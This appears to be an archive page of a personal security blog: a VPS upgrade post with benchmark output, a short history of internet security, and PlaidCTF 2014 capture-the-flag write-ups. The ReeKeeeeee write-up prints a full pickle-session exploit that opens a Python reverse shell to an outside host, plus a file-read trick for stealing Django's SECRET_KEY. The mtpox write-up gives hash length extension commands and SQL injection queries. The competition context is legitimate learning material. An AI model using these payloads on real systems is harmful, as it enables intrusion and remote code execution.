VPS Upgrade

As I’ve mentioned before, my blog is hosted on a VPS at Linode. Just under 3 years ago, I moved to my current VPS in their Newark DC to take advantage of their native IPv6 support. I’ve now moved within Linode again, this time to take advantage of their awesome free upgrades.

$20/month gets you a 2GB Xen VM backed by enterprise-grade SSDs, Ivy Bridge Xeons, and a 40Gbps backbone. Think that 40Gbps is going to waste? Think again. I downloaded a 100MB test file from Cachefly in 1.2 seconds. That’s 85.5 MB/s. Consider my mind blown.

I’ve been a Linode customer since 2009, and have probably had about 3 outages in the 5 years. All have been short, and have had good explanations with great communication from the Linode staff. There may be cheaper options out there, but I care about uptime and infrastructure, and Linode makes the necessary investments there.

Full ApacheBench tests for my old and new hardware are below.

32 bit VM on Old Hardware

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
% ab -c 10 -n 200 -q https://epsilon.systemoverlord.com/
This is ApacheBench, Version 2.3 <$Revision: 1430300 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking epsilon.systemoverlord.com (be patient).....done


Server Software:        nginx/1.2.1
Server Hostname:        epsilon.systemoverlord.com
Server Port:            443
SSL/TLS Protocol:       TLSv1.1,ECDHE-RSA-RC4-SHA,2048,128

Document Path:          /
Document Length:        26 bytes

Concurrency Level:      10
Time taken for tests:   7.878 seconds
Complete requests:      200
Failed requests:        0
Write errors:           0
Non-2xx responses:      200
Total transferred:      121600 bytes
HTML transferred:       5200 bytes
Requests per second:    25.39 [#/sec] (mean)
Time per request:       393.898 [ms] (mean)
Time per request:       39.390 [ms] (mean, across all concurrent requests)
Transfer rate:          15.07 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:      277  298  17.6    292     386
Processing:    89   93   4.3     92     112
Waiting:       87   93   4.1     91     112
Total:        367  391  17.7    387     481

Percentage of the requests served within a certain time (ms)
  50%    387
  66%    393
  75%    398
  80%    401
  90%    414
  95%    426
  98%    448
  99%    458
  100%    481 (longest request)

64-bit VM on New Hardware

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
% ab -c 10 -n 200 -q https://lambda.systemoverlord.com/
This is ApacheBench, Version 2.3 <$Revision: 1430300 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking lambda.systemoverlord.com (be patient).....done


Server Software:        nginx/1.2.1
Server Hostname:        lambda.systemoverlord.com
Server Port:            443
SSL/TLS Protocol:       TLSv1.1,ECDHE-RSA-RC4-SHA,2048,128

Document Path:          /
Document Length:        26 bytes

Concurrency Level:      10
Time taken for tests:   2.999 seconds
Complete requests:      200
Failed requests:        0
Write errors:           0
Non-2xx responses:      200
Total transferred:      121600 bytes
HTML transferred:       5200 bytes
Requests per second:    66.68 [#/sec] (mean)
Time per request:       149.959 [ms] (mean)
Time per request:       14.996 [ms] (mean, across all concurrent requests)
Transfer rate:          39.59 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:       68   90  21.8     84     199
Processing:    22   57 100.4     31     623
Waiting:       20   57 100.3     30     623
Total:         95  148 105.4    115     707

Percentage of the requests served within a certain time (ms)
  50%    115
  66%    120
  75%    128
  80%    143
  90%    212
  95%    479
  98%    566
  99%    706
  100%    707 (longest request)

A Brief History of the Internet (Security-Wise)

I originally posted this to the DC404 Mailing List, but got some positive feedback, so I thought I’d post it here as well. The broad strokes should be correct, but there might be some inaccuracies here — if you’re aware of one, please let me know and I’ll correct it.

There was a thread ongoing about Heartbleed, and it turned into a question of why security on the Internet is so complicated, and couldn’t it be any simpler? Well, the truth be told, security on the Internet is a house of cards.

Part of the security problem on the Internet is also what makes the Internet so great: people using technology for something other than what it was designed for. Back in the beginning, the internet (or even Arpanet) was a system of interconnected computers where all of the computers and operators were trusted, and we weren’t shipping financial records, health records, personal communications, or whatever else over it.

At every layer, we’ve had to bolt on security features, scalability features, and anything else.

/etc/hosts is roughly what existed (though in different forms) on systems in the early years. When a new system got added to the network, all the other operators would add it to their hosts file. That obviously doesn’t scale, so DNS gets invented. But these are the trusting years, so DNS gets no security built in, it’s just a central directory for publishing name -> IP mappings.

Next, we’d like a way to exchange information in a linked “web” structure. We’ve played with Gopher, Archie, FTP, whatever, but let’s add more structure. So along come two standards: HTTP and HTML. Since we’re publishing information for people to consume, and everyone gets the same information, and we’re all trusted on this network, we just want something simple without the complexity of layers like encryption, authentication, etc., or notions of state.

Now some people come along and want to have the ability to change content via the internet, and since we’re using HTTP to fetch the content, we’ll also use it for updates, so we get verbs like PUT, POST, DELETE, etc. It’s not long before someone decides that not everyone should be able to make those changes, so we’ll add some authentication by having people send special headers with each state-changing request.

It’s around this time that people realize the Internet is getting too big to trust all the nodes, so we need to start thinking about encryption. And Netscape comes along and produces SSL, which is a wrapper around any other arbitrary protocol, and offers encryption and integrity. To ensure that, we need a way to verify the identity of the endpoint, so we need some sort of directory of that. But of course, DNS isn’t secure, isn’t designed for such large payloads, so we need something else. Something preloaded into the client, but adaptable, so we build a “Certificate Authority” that will sign the certificates that will be served by the servers. And we’ll allow some other organizations to also sign certificates. And maybe some more. [And more, and more…]

So, around 1995, Netscape began to develop the idea that we could have “applications” on the Internet, and they wanted to provide interaction between the client and the server. So they go and build a variation of Java for the client, called JavaScript. And where do we put it? Oh, just in the webpages. So now we have data & executable code mixed together, and thanks to the server-side languages we’re using at this point (C, Perl, etc.) we’re able to output any combination of it based on user input.

Now we come to the first dot-com era, where we have people starting to use the internet for things like “online banking” and “e-commerce”. At first, it’s small potatoes, but it gets big, and keeps growing into the 21st century. Now everything is online, from personal emails to banks, stores, governments, power plants, whatever touches a computer. But we’re still sitting on a technology stack where security was an afterthought, bolted on like training wheels on a kids bike.

So, I know that doesn’t fix your complaints, but it’s important to realize how many moving parts are involved and where they came from. If you want to know the gritty details, the best book I’ve seen is Zalewski’s The Tangled Web. It’s pretty technical, but it’s a really great book about the state of web security.


PlaidCTF 2014: Conclusion

The 2014 edition of PlaidCTF was excellent, but I wish we’d been able to make it through more challenges. We cleared about 7 challenges, but really only two of them felt worth writing up. The others have been well documented elsewhere, no sense in rewriting the same thing.

I liked how the challenges often required a series of exploits/techniques, this is much like what happens in the real world. I do wish I had spent more time on binary exploitation, attempting to get a solution to __nightmares_\_ burned a lot of time.

Plaid’s website post-mortem is also a good read, interesting to see the things involved in running a CTF.

My Write-Ups

Other Quality Writeups From Around the Web


PlaidCTF 2014: ReeKeeeee

ReeKeeeeee was, by far, the most visually painful challenge in the CTF, with a flashing rainbow background on every page. Blocking scripts was clearly a win here. Like many of the challenges this year, it turned out to require multiple exploitation steps.

ReeKeeeeee was a meme-generating service that allowed you to provide a URL to an image and text to overlay on the image. Source code was provided, and it was worth noting that it’s a Django app using the django.contrib.sessions.serializers.PickleSerializer serializer. As the documentation for the serializer notes, If the SECRET_KEY is not kept secret and you are using the PickleSerializer, this can lead to arbitrary remote code execution. So, maybe, can we get the SECRET_KEY?

Getting SECRET_KEY

Here’s the core of the meme-creation view in views.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
try:
  if "http://" in url:
    image = urllib2.urlopen(url)
  else:
    image = urllib2.urlopen("http://"+url)
except:
  return HttpResponse("Error: couldn't get to that URL"+BACK)
if int(image.headers["Content-Length"]) > 1024*1024:
  return HttpResponse("File too large")
fn = get_next_file(username)
print fn
open(fn,"w").write(image.read())
add_text(fn,imghdr.what(fn),text)

Looking at how images are loaded, they are sourced via urllib2.urlopen, then saved to a file, then PIL is used to add text to the image. If the file is not a valid image type, an exception will be thrown during this phase. However, the original file downloaded remains on disk. This means we can use the download to source any file and get a copy of it, even though it will be served with the bizarre mimetype image/None.

At first, it appears that only http:// urls are permitted, so we considered that we might be able to source some URL from localhost that might provide us with the application configuration, but we couldn’t find any such URL. I tried building a webserver that sends a redirect to a file:// url, but the Python developers are wise to that. Then I noticed that it says "http://" in url, which means that it only needs to contain http://, but doesn’t have to start with that protocol. So, I began playing around with options to try to use a file:// url, but containing http://. My first thought was as a username, with something like file://http://@/etc/passwd or file://http://@localhost/etc/passwd, but neither of those worked. I also tried a query-string like path, with file:///etc/passwd?http://, but that’s also just considered part of the filename. Finally, my teammate Taylor noticed that this construct seems to work: file:///etc/passwd#http://.

Now we needed to find the SECRET_KEY. Even though we dumped /etc/passwd, and could see users and home directories, we couldn’t find settings.py. It took a few minutes to realize that we could find the directory we were running from by /proc/self/cwd, and based on the provided source, the file was probably at mymeme/settings.py. Trying file:///proc/self/cwd/mymeme/settings.py#http:// for the image URL finally gave us a usable copy of settings.py.

SECRET_KEY to flag

Given the SECRET_KEY, we can now construct our own session tokens. Since we’re using the pickle session module, we can produce sessions that give us code execution via pickling. Objects can implement a custom __reduce_\_ method that defines how they are to be pickled, and they will be unpickled by calling the relevant “constructor function.” For a general primer on exploiting Python pickling, see Nelson Elhage’s blog post.

I decide the easiest way to exploit code execution is to use a reverse shell on the box, which can be launched via subprocess.popen. Since we know python is on the system, but can’t be sure of any other tools, I decide to use a python reverse shell. Here’s the script I wrote to construct a new session cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!python
import os
import subprocess
import pickle
from django.core import signing
from django.contrib.sessions.serializers import PickleSerializer

os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mymeme.settings")

class Exploit(object):
  def __reduce__(self):
    return (subprocess.Popen, (
      ("""python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("xxx.myvps.xxx",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &"""),
      0, # Bufsize
      None, # exec
      None, #stdin
      None, #stdout
      None, #stderr
      None, #preexec
      False, #close_fds
      True, # shell
      ))

#pickle.loads(pickle.dumps(Exploit()))

print signing.dumps(Exploit(),
    salt='django.contrib.sessions.backends.signed_cookies',
    serializer=PickleSerializer,
    compress=True)

Running this gives us our new cookie value. Before I load a page with the cookie, I start a netcat listener with nc -l -p 1234 for the shell to connect to. When I load the page, I see my listener get a connection, and I have a remote shell. Moving up a directory, I find an executable named something like run_this_for_flag.exe and I run it to get the flag.

Conclusion

Took an information disclosure + remote code execution via pickle, but just goes to show you how easy it is to escalate a bad use of urlopen to a remote shell. In fact, had it said url.startswith('http://') instead of 'http://' in url, everything would’ve stopped there. Small vulnerabilities can lead to big problems.


PlaidCTF 2014: mtpox

150 Point Web Challenge

The Plague has traveled back in time to create a cryptocurrency before Satoshi does in an attempt to quickly gain the resources required for his empire. As you step out of your time machine, you learn his exchange has stopped trades, due to some sort of bug. However, if you could break into the database and show a different story of where the coins went, we might be able to stop The Plague.

Looking at the webapp, we discover two pages of content, and a link to an admin page, but visiting the admin page gives an “Access Denied.” Looking at our cookies, we get one auth with value b%3A0%3B, which, urldecoded is b:0;. Since we know this is a PHP app, we can easily recognize this as a serialized false boolean. The other cookie, hsh has the value ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3. This value is unchanged regardless of IP, visit time, etc, so it’s a pretty safe assumption it’s not salted in any way. GIven the length, we can assume it’s SHA-256. The about page tells us there’s an 8 character “salt”, but it really seems to be just a static key.

A few quick tries shows that simply modifying the auth or clearing the hsh cookies aren’t enough to get access, so I consider a hash length extension attack. Unfortunately, appending data to a serialized PHP value is quite useless, the unserialize function stops at the end of the first value, so b:0;b:1; does no good. (Same with padding in between.) We need a way to get our true value at the beginning. I guessed that maybe they’re reversing the auth value before doing the hashing. Update: There was, in fact, an arbitrary file read as well, that would allow me to see for certain that it was reversed before hashing.

So, how to execute the length extension attack? I have written a python tool for MD5 before, but this is SHA-256, so I could update that, but one of my coworkers has an awesome tool to do it for a wide variety of hash types, data formats, etc. I drop the reversed strings into hash_extender and look for my output:

1
2
3
4
5
% ./hash_extender -d ';0:b' -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a ';1:b' -f sha256 -l 8 --out-data-format=html
Type: sha256
Secret length: 8
New signature: 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1
New string: %3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%3b1%3ab

Of course, this string is now backwards, so we need to reverse it, but we need to reverse the decoded version of it. Trivial python one-liner incoming!

1
2
% python -c "import urllib; print urllib.quote(urllib.unquote('%3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%3b1%3ab')[::-1])"
b%3A1%3B%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B

Great, so I’ll plug that in as the auth cookie, and 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1 for hsh, and we’re done, right? Well, it works, but no flag.

We get a box to query for PlaidCoin values, but putting things in redirects to a non-existent page. So, removing the action so it redirects to the same page works, but finds nothing obvious, until I insert a quote, revealing the SQL Injection flaw.

Let’s use MySQL’s information_schema virtual database to do some information gathering. We can find out what tables exist with a query like: 1=1 UNION SELECT group_concat(table_name) from information_schema.tables WHERE table_schema=database(). This returns “Wallet 1=1 UNION SELECT group_concat(table_name) from information_schema.tables WHERE table_schema=database() contains plaidcoin_wallets coins.” So, we know there’s only one table, plaidcoin_wallets. Time to find out what columns exist. 1=1 UNION SELECT group_concat(column_name) from information_schema.columns WHERE table_schema=database(). This reveals 2 columns: id and amount.

Let’s find out what ID contains. 1=1 UNION SELECT group_concat(id) from plaidcoin_wallets shows just one wallet, with the name pctf{phpPhPphpPPPphpcoin}. Turn in the flag, and we’re up 150 points!

Big thanks to Ron at skullsecurity.org for the great write-up and tool for hash length extension attacks. Update: Apparently Ron has written this one up as well, see here for his writeup.